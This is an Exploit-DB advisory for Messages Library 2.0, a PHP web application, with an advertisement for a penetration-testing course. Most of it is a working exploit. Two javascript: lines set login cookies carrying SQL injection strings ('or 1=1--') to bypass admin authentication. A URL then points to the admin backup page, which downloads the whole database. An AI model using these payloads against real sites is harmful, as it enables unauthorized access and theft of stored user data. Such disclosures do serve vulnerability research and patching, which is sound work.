Messages Library 2.0 - Insecure Cookie Handling

EDB-ID:

9063

CVE:

N/A


Author:

Stack

Type:

webapps


Platform:

PHP

Date:

2009-07-01


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# Messages Library 2.0 <=  Arbitrary Database Download Vulnerability
########################################
#[*] Founded &  Exploited by : Stack
########################################
 
Bypass with
 
javascript:document.cookie = "SaphpLesson_Name=admin' or 1=1--; path=/";
javascript:document.cookie = "SaphpLesson_Password=' or 1=1--; path=/";
 
After Exec
 
http://localhost/sms/admin/backup.php
 
and you got the database download

# milw0rm.com [2009-07-01]